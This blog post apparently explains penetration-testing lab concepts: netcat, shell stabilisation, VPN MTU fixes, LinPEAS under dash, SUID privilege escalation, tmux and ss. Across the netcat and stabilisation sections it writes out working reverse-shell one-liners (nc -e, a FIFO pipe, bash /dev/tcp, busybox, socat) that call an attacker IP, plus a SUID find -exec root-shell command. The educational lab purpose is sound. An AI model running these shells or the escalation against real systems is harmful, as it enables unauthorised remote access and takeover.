Linux Lab Pitfalls That Will Cost You Hours

Netcat, MTU, SUID, shell stabilisation; Linux lab concepts most resources skip. Explanations, fixes, quizzes to test your depth.
Linux Lab Pitfalls That Will Cost You Hours

Some of these I hit face-first in a lab session. Others I thought I understood until I had to explain them out loud and realized I actually didn't. Netcat, MTU, SUID, shell stabilisation, these aren't exotic edge cases. They come up constantly, and most resources either skip the "why" entirely or bury it in man pages nobody reads.

This is my attempt to actually understand them, documented as I go.


How Netcat Really Works

Most people learn netcat as a magic command that "opens a shell." Type this, get that. It works, so nobody asks why.

Then something breaks and you have no idea where to even start.

twoHere's what's actually happening.

Netcat is just a pipe over a network

At its core, netcat (nc) does one thing: it opens a TCP (or UDP) connection and connects stdin/stdout of your terminal to that socket. That's it. Everything else is a consequence of that.

When you run a listener:

nc -lvnp 4444

You're telling netcat: listen on port 4444, and when someone connects, wire their traffic to my terminal's stdin/stdout.

When the target connects back:

nc 192.168.45.240 4444 -e /bin/bash

The -e flag tells netcat: after connecting, replace my stdin/stdout with this program. So /bin/bash now reads from the socket and writes to the socket. Your terminal on the other end is talking directly to bash.

No magic. Just plumbing.

Why your shell feels broken

Raw netcat shells are uncomfortable: no tab completion, Ctrl+C kills the connection, no arrow keys, commands like sudo and vim refuse to work.

The reason is that bash isn't running inside a proper TTY (teletypewriter, the thing your terminal emulator pretends to be). It's running as a dumb subprocess with its stdin/stdout redirected to a socket. No TTY means no job control, no signal handling, no interactive features.

This is why shell stabilisation exists, but that's a separate section.

The two modes: bind shell vs reverse shell

Reverse shell: the target connects to you:

# Attacker listens
nc -lvnp 4444

# Target connects back
nc 192.168.45.240 4444 -e /bin/bash

You need this when the target is behind a firewall that blocks inbound connections.

Bind shell: you connect to the target:

# Target listens
nc -lvnp 4444 -e /bin/bash

# Attacker connects
nc 192.168.45.240 4444

Simpler conceptually, but rarely works in practice because firewalls almost always block inbound on arbitrary ports.

In almost all labs, it's a reverse shell. Trust.

When -e doesn't exist

Many systems ship with a stripped-down netcat (OpenBSD variant) that doesn't have -e. You'll notice because the flag just gets ignored or throws an error.

The workaround: pipe through a FIFO:

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc 192.168.45.240 4444 > /tmp/f

Ugly, but the logic is the same: wire bash's stdin/stdout to the socket manually.

Or just use a bash one-liner instead:

bash -i >& /dev/tcp/192.168.45.240/4444 0>&1

This doesn't use netcat at all, bash itself opens the TCP connection. Handy when nc isn't available on the target.

If you're on a Proving Grounds target, there's a third option you'll see constantly: BusyBox. Many minimal Linux systems ship it as a swiss-army binary that bundles its own netcat implementation, and this one does support -e:

busybox nc 192.168.45.240 4444 -e /bin/bash

So if plain nc -e fails, try prefixing with busybox. It's almost always there on OffSec targets specifically because the base systems are stripped down.

Quick mental checklist when -e doesn't work:

  1. busybox nc: try this first on PG targets
  2. FIFO workaround: when busybox isn't available
  3. bash /dev/tcp: when nc isn't on the system at all
We already mentioned it, so let's get on to shell stabilisation.

Shell Stabilisation

You caught a shell. It feels wrong immediately: Ctrl+C kills the connection,
arrow keys print garbage, tab completion does nothing. You're in a raw,
unstabilised shell and it's painful to work in.

Here's how to fix it, in order of what actually works in practice.

Why it feels broken

Your shell isn't running inside a proper TTY. Netcat wired bash's stdin/stdout
to a socket, but bash has no terminal to talk to.

No job control, no signal handling, no interactive features. Stabilisation means giving it one.

Method 1: python3 (mooostly reliable)

python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm
# Now background it:
# Ctrl+Z
stty raw -echo; fg

pty.spawn creates a proper pseudo-terminal for bash to run in. The
stty raw -echo; fg part disables input processing on your terminal so
keypresses pass through cleanly instead of being intercepted.

python3 is on almost every modern Linux target. Try this first.

python -c 'import pty; pty.spawn("/bin/bash")'  # fallback if python3 isn't available

Method 2: script (no python needed)

script /dev/null -c bash
export TERM=xterm
# Ctrl+Z
stty raw -echo; fg

script is a standard Unix utility that records terminal sessions, but here
you're abusing it to spawn bash inside a PTY. /dev/null just discards the
recording. Works on virtually any system, no Python required.

Method 3: rlwrap (attacker side only)

rlwrap nc -lvnp 4444

The lazy option: run this before catching the shell. rlwrap wraps your
netcat listener with readline, giving you arrow keys and history without
touching the target at all. Not a full TTY, but good enough for quick work.

Method 4: socat (best TTY, rarely available)

# Attacker:
socat file:`tty`,raw,echo=0 tcp-listen:4444

# Target:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:KALI_IP:4444

socat gives you the most complete TTY: Ctrl+C works, full tab completion,
everything behaves normally. The catch: socat needs to be on the target, and
it almost never is on a stripped-down system. If it's there, use it.
Otherwise, don't count on it.

Method 5: perl / ruby

perl -e 'exec "/bin/bash";'
ruby -e 'exec "/bin/bash"'

Last resort. These don't give you a TTY at all — they just replace the current
process with bash, which can sometimes behave better than a raw shell. Not
worth relying on.

What You Might Consider after Stabilising

stty rows 38 cols 116      # match your actual terminal size
export TERM=xterm-256color

Without the stty line, tools like vim and less will render broken because the
shell doesn't know your terminal dimensions. Run stty size in your local
terminal first to get the right values.

Practical priority

Method When to use
python3 Default — try this first
script python not available
rlwrap Quick work, don't need full TTY
socat When you get lucky and it's installed
perl/ruby Nothing else works

The MTU Trap: When your Labs won't load

This one is sneaky because everything looks like it's working.

nmap finds open ports. The VPN is connected. But the moment you try to load
a page in your browser or run curl, nothing. It just hangs forever.

The culprit is almost always MTU.

What's actually happening

MTU (Maximum Transmission Unit) is the largest packet a network interface will send in one piece.

Your VPN tunnel has overhead: it wraps your packets in its
own headers, so the effective MTU of tun0 is smaller than your physical
interface's 1500 bytes.

If nobody accounts for that difference, large packets get fragmented. And on many network paths, fragmented packets get silently dropped.
💡
nmap probes are tiny. They squeeze through fine. HTTP responses, actual TCP payloads, anything with real content, those are large. They get fragmented, dropped, and you sit there watching a loading spinner wondering if the service is even running.

It is. You just can't see it.

Confirming the problem

# Force a large packet with the "don't fragment" flag
# If this times out or reports fragmentation needed → MTU mismatch confirmed
ping -c3 -M do -s 1400 <target-ip>

If you see Frag needed or the ping just times out while small pings work
fine, you've found it.

Fix

sudo ip link set dev tun0 mtu 1200

Then test immediately:

curl -v --max-time 10 http://<target-ip>/

If curl responds → done. If it still hangs, go lower:

sudo ip link set dev tun0 mtu 1000

Making it persistent

The ip link set fix dies when the VPN reconnects. Add these two lines to
your .ovpn file to make it permanent:

mssfix 1200
tun-mtu 1200

tun-mtu sets the interface MTU. mssfix clamps the TCP MSS (Maximum Segment Size) in the handshake so both sides agree on packet sizing before any data flows. Both together means the problem shouldn't come back.

tooling check
score: 0 / 0

Now let's have a light section on something that might just annoy you, in a more or less funny way x).

When LinPEAS Turns Your Terminal Red

Not the good kind of red.

You transfer LinPEAS, run it, and your terminal explodes with sed errors,
twenty times over. Everything looks broken. You assume the target is cursed
and start questioning your life choices.

It's not the target. It's dash.

💡
Many minimal Linux systems symlink /bin/sh to dash instead of bash.

LinPEAS has a bash shebang, but some environments ignore it and run it with whatever /bin/sh points to anyway. Dash doesn't speak bash, it chokes on bash-specific syntax and doesn't understand GNU sed's -E flag, which LinPEAS calls
constantly.

The fix is one word:

bash linpeas.sh -a | tee linpeas.out

Explicitly invoking bash overrides whatever /bin/sh would have done.
LinPEAS runs cleanly, the sed errors disappear, and your terminal goes back
to the normal kind of overwhelming.

You'll still see a few stray errors if the target's sed is ancient. That's
fine, ignore them, the results are valid. Focus on the actual findings.

What SUID Actually Is

Most explanations of SUID to me sound like "it runs as root." That's true but useless without understanding why it exists and what it actually means for you.

The problem it solves

Linux file permissions are simple: you run a program, it executes with your
UID. That's the whole model.

But some operations legitimately need elevated access regardless of who
triggers them. passwd needs to write to /etc/shadow, which is owned by
root and unreadable by regular users. You still need to be able to change
your own password. So how does that work?

SUID: Set User ID. It's a special permission bit that says: when this file
is executed, run it as the file's owner instead of the person who launched it.

passwd is owned by root and has the SUID bit set. When you run it as a
normal user, it briefly becomes root long enough to update /etc/shadow, then
exits. Controlled, intentional, scoped.

That's the design. The abuse is what happens when the program wasn't written
carefully.

What the bit actually looks like

ls -la /usr/bin/passwd
-rwsr-xr-x 1 root root 68208 /usr/bin/passwd

See that s where the owner execute bit (x) normally sits? That's SUID.
The file runs as root regardless of who executes it.

If you see a capital S instead, the SUID bit is set but the execute bit
isn't — the file can't actually be run. Interesting but not immediately useful.

Finding SUID binaries

find / -perm -4000 -type f 2>/dev/null

-perm -4000 means "has the SUID bit set." The - prefix means "at least
these bits" — so it matches regardless of what other permission bits are set.

You'll get a list. Most of it is expected:

/usr/bin/su
/usr/bin/sudo
/usr/bin/passwd
/usr/bin/mount
/usr/bin/umount
/usr/bin/chfn
/usr/bin/chsh
/usr/bin/newgrp
/usr/bin/gpasswd
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper

These are all intentional. The OS needs them. Ignore them. Everything else is a question worth asking.

Why unexpected SUID binaries are dangerous

The issue isn't SUID itself, it's SUID on programs that weren't designed to
be run with elevated privileges, or programs that can be made to do things
their authors didn't anticipate.

Take find with SUID set. Normally harmless. But find has an -exec flag
that runs arbitrary commands. If find is running as root:

find . -exec /bin/bash -p \; -quit

You just got a root shell. The program did exactly what it was designed to do, it executed a command. Nobody told it not to execute a shell.

This is the GTFOBins pattern. Most Unix utilities are flexible by design.
That flexibility becomes a privesc path the moment they run as root.

In https://niklas-heringer.com/skills-lab/introduction-to-regex/,
you'll find more on the neccessary pattern-matching.

The -p flag matters

When you spawn bash from a SUID binary, use -p:

bash -p

By default, bash drops elevated privileges when it detects it's been launched
with a different effective UID than the real UID, a safety feature. -p
disables that behaviour and keeps the elevated privileges. Without it, your
"root shell" is actually still running as you.

Workflow

# 1. Find everything with SUID set
find / -perm -4000 -type f 2>/dev/null

# 2. Filter out the expected ones
find / -perm -4000 -type f 2>/dev/null | grep -vE 'su$|sudo|passwd|mount|umount|chfn|chsh|newgrp|gpasswd|ssh-keysign|dbus-daemon'

# 3. Take whatever's left to GTFOBins
# https://gtfobins.github.io — search the binary name, filter by SUID
GTFOBins has a SUID filter specifically for this. If it's listed, there's a
known exploitation path. Copy, adapt, run.

One thing people miss

💡
SUID only works on binaries, not shell scripts. The Linux kernel ignores the SUID bit on interpreted scripts for security reasons. If you find a .sh file with SUID set, it won't run as root. Look for the interpreter it calls instead, or check if the script is writable (different problem, same outcome).

tmux: Windows Are Not Panes

At some point you'll want to close "one of those split things" and accidentally
kill the wrong thing entirely. Here's the distinction before it costs you.

Windows are the tabs at the bottom. Panes are the splits inside a window.
Completely separate concepts with separate commands.

The one that always trips people up

Ctrl+b x        # kills the current PANE (the split you're in)
Ctrl+b &        # kills the entire WINDOW (all panes in it)

Wrong one at the wrong time and your nmap scan is gone.

Finding pane numbers

Ctrl+b q        # flashes pane numbers on screen — act fast, they disappear

Then kill by number:

Ctrl+b :kill-pane -t 2

A few others worth knowing

Ctrl+b z        # zoom current pane to fullscreen — same combo to unzoom
Ctrl+b {        # swap current pane with the one above
Ctrl+b }        # swap current pane with the one below
Ctrl+b Space    # cycle through pane layouts (even/horizontal/vertical etc.)

Ctrl+b z is the one you'll actually use constantly, fullscreen a pane to
read output properly
, unzoom to get back to the split. Much faster than
resizing manually.

Detach without losing anything

Ctrl+b d        # detach from session — everything keeps running in background
tmux attach     # come back to it later
VPN dropped, terminal closed, SSH timed out, doesn't matter. Your session
is still there.

Now one last learning that will help further your understanding greatly.

What ss -tulpn Actually Tells You

You run it because a cheatsheet told you to. The output scrolls past and you
grep for something interesting. But do you know what you're actually looking at?

ss -tulpn
# or, on older systems:
netstat -tulpn

The flags, decoded:

Flag Means
-t TCP sockets
-u UDP sockets
-l listening only (not established connections)
-p show the process using the socket
-n numeric — don't resolve hostnames or port names

-n matters more than people realise. Without it, port 80 shows as http,
port 22 shows as ssh. Fine for reading, annoying when you're grepping.

Reading the output

Netid  State   Recv-Q  Send-Q  Local Address:Port   Peer Address:Port  Process
tcp    LISTEN  0       128     127.0.0.1:3306        0.0.0.0:*          mysqld
tcp    LISTEN  0       128     0.0.0.0:22            0.0.0.0:*          sshd
tcp    LISTEN  0       128     0.0.0.0:8080          0.0.0.0:*          java

The Local Address column is what you care about.

0.0.0.0:22: listening on all interfaces. Reachable from outside.
127.0.0.1:3306: listening on loopback only. Only reachable from the machine itself.

That second one is the interesting find. MySQL bound to localhost means you
can't hit it directly from your attack machine, but you're already on the
target. You can reach it. And if it's running with weak credentials or as
root, that's your next move.

What to look for during privesc

ss -tulpn | grep 127.0.0.1

Anything on loopback that you didn't expect. Internal admin panels, databases, development servers left running, services the box exposes to itself that
were never meant to be touched from outside.

If you need to interact with them from your attack machine, SSH port forward:

ssh -L 8080:127.0.0.1:3306 user@target -N
# now mysql -u root -h 127.0.0.1 -P 8080 works from Kali

netstat -tulpn works identically if ss isn't available. On anything modern,
ss is preferred: it's faster and part of iproute2. netstat is in
net-tools, which is being phased out and missing on some minimal systems.

pitfall check
score: 0 / 0
Subscribe to my monthly newsletter

No spam, no sharing to third party. Only you and me.

Member discussion